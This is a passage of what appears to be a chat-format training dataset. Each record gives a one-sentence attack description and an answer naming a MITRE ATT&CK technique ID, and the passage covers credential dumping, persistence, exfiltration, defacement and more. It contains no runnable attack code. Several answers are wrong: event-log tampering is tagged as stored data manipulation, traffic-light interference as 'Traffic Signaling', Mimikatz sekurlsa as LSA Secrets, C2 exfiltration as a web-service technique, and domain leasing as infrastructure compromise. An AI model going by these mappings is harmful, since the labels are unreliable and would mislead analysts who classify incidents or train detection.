    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor applies ROT13 encoding to hide stolen credentials within log files."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executes \"systeminfo\" on the compromised Windows machine to collect detailed system configuration data."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a phishing page that prompts the victim to enter their MFA token, which is then forwarded to the attacker for reuse."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group writes encrypted archives of confidential files to a USB‑type storage device left in a conference room."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool queries the default system browser's configuration files for default search engine settings."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red teamers create a systemd timer that launches a privilege escalation script every hour."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised user account is configured to forward all incoming communications to a malicious email address."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By extracting and reusing a Kerberos ticket, the adversary authenticates as a high‑privilege account on other machines."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker posted encoded instructions to a Discord webhook, which the compromised host polls for tasking."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers steal a valid TGT from a compromised host and inject it into another system to gain unauthorized access to network resources."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker adds a malicious GPO that forces all machines to trust a rogue certificate authority."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the proc filesystem to read the memory of system services, dumping /proc/[pid]/mem to pull plaintext credentials and cryptographic material."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion sets up a scheduled task that runs ntdsutil to export the NTDS.dit file for later offline cracking."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A deceptive URL is shared via a messaging platform, leading users to a phishing site that executes a credential‑harvesting tool upon click."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit an open proxy on a remote server to relay internal network scans to external analysis tools."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious link embedded in a fake software update notification redirects the user to a malicious executable that runs with user privileges."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary hijacked the build server of a SaaS provider, injecting a trojanized component into the software package distributed to clients via the provider's update channel."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor utilizes Microsoft Teams' remote control features to execute commands on compromised endpoints."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a malicious cron job that runs a base64‑encoded payload every hour to maintain persistence on a Linux server."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware writes a shellcode payload into the memory of a running svchost.exe and then creates a remote thread to execute it."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses a Java application to query the registry for installed Java runtime environments."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Insertion of malicious code into a shared PowerShell script stored in a version control repository accessed by multiple users."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses a software bug in the authentication module to execute arbitrary code and sidestep monitoring."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious VBA macro embedded in an Outlook Form is set to execute whenever the user opens the email client, persisting the compromise."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group sets up a mail forwarding rule in the compromised user's mailbox that sends all incoming emails to a C2 email account."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ domain fronting to bypass network filters, encapsulating command and control traffic inside HTTPS requests to a well-known cloud service."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder conducts open-source research to discover the victim's business partners and client base, aiming to understand the company's external network."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages a privilege escalation exploit to read securityd’s memory and steal credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages the Kubernetes kubelet's /stats/summary endpoint to discover pod and node resource usage."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages VBA stomping to hide malicious functionality within a legitimate Office macro, swapping out the original code."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool modifies the Application Compatibility Framework's database to point a commonly used system binary to a malicious DLL, triggering execution through shimming."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary tampers with a Windows event log file to erase evidence of compromise."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers conducted a reconnaissance operation by gathering employee bios from the company's website and extracting their email signatures for later use."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors utilized launchctl to set the RunAtLoad key in a malicious plist, ensuring their espionage tool executes automatically on boot."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker renames a malicious binary to \"report.docx.exe\" so that the double extension hides the true file type from the user."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised shared module is used to bypass application whitelisting controls."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors corrupt backup archives and remove recovery points to prevent system rollback after infection."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the final stage, the attacker executed a secure delete operation that overwrites all sectors of the hard drive."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker uses Shodan to discover internet-facing devices with vulnerable services associated with the target."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script opens a WinRM channel to download credential files from the target's %APPDATA% directory."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group downgrades the Linux kernel version by flashing an older system image to exploit known CVEs."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party software update is distributed to customers, delivering a trojan that provides initial foothold."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During lateral movement, the group plants a .lnk file on a shared drive that points to a malicious script on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor obtains the NTLM hash of the Administrator account by dumping the Security Account Manager database."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider edited the DNS records to point the domain to a server hosting a fake version of the site with defaced content."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor exploits weak authentication on traffic signal controllers to cause signal flashing and confusion."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor drops a JavaScript file named \"update.js\" in the user's startup folder and modifies the registry Run key to invoke cscript.exe, allowing the script to run each time the user logs on as a proxy for the main malware."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder exploited SNMP's lack of authentication on a legacy device to dump its MIB content."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated malware adds kernel socket filters that selectively intercept DNS queries, redirecting them to malicious servers for data theft."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By manipulating UDP traffic, the actor achieves NAT traversal, allowing command and control traffic to flow across network segments."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exfiltrates keystroke logs via HTTPS POST requests to a command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses virtualization evasion techniques to detect sandbox environments and alter behavior."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed a man‑in‑the‑middle attack on a Git clone operation over an unencrypted network, capturing the repository data."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware authors lease a domain for a short period to serve malicious updates to infected hosts."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operator uses masscan to discover services listening on port 80 across the internal network."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits misconfigured permissions on a network share to steal employee records."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑espionage actors exfiltrated a compromised VPN client certificate and used it to establish persistent access to the target network."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a forged network provider DLL to alter the authentication handshake, enabling replay attacks on captured credentials."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries execute arbitrary code by abusing InstallUtil.exe as a proxy for Windows binary execution."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By running InstallUtil /logfile= /logtofile=, the attacker runs code without writing to disk."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By using Emond, the adversary creates a trigger on Event ID 1000 (application error) to launch a data exfiltration tool whenever the target application crashes."
            },
            {
                "role": "assistant",
                "content": "T1546.014 - Event Triggered Execution: Emond"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the macOS sysctl command to enumerate hardware attributes like CPU brand string and hardware model identifier."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group drops a launch agent that executes a script to download additional payloads, then activates it via launchctl load."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set hijacks IoT devices, repurposing their processing power for unauthorized mining operations."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor changes the site's SSL/TLS termination page to display a defacement notice."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a PowerShell one-liner that creates a local user and disables the account lockout policy."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses Mimikatz's sekurlsa::logonpasswords module to enumerate LSA Secrets and extract credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a victim's mobile carrier account to intercept SMS-based one-time passwords and reuse them for authentication."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exfiltration, the threat actor uses a PowerShell command to wipe files that contain malware fingerprints."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor injects a malicious UEFI driver during firmware flashing, allowing execution of malicious code during the pre-OS boot phase."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated campaign corrupts the system firmware by writing malicious payloads to the BIOS ROM chip."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the SEH (Structured Exception Handling) to conceal execution flow from a debugger."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit chain finishes by loading a malicious library into memory with a custom reflective loader, circumventing operating system safeguards."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a scheduled task to read unsecured service account passwords from a text file and post them to a Slack webhook."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor emailed a targeted employee a PDF file that exploited a known vulnerability when opened, aiming to install a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors send forged HTTP headers that make their malicious payload appear as standard web traffic, tricking intrusion detection systems."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor added \"Full Control\" permissions for the \"Authenticated Users\" group on a critical database directory to enable data manipulation."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
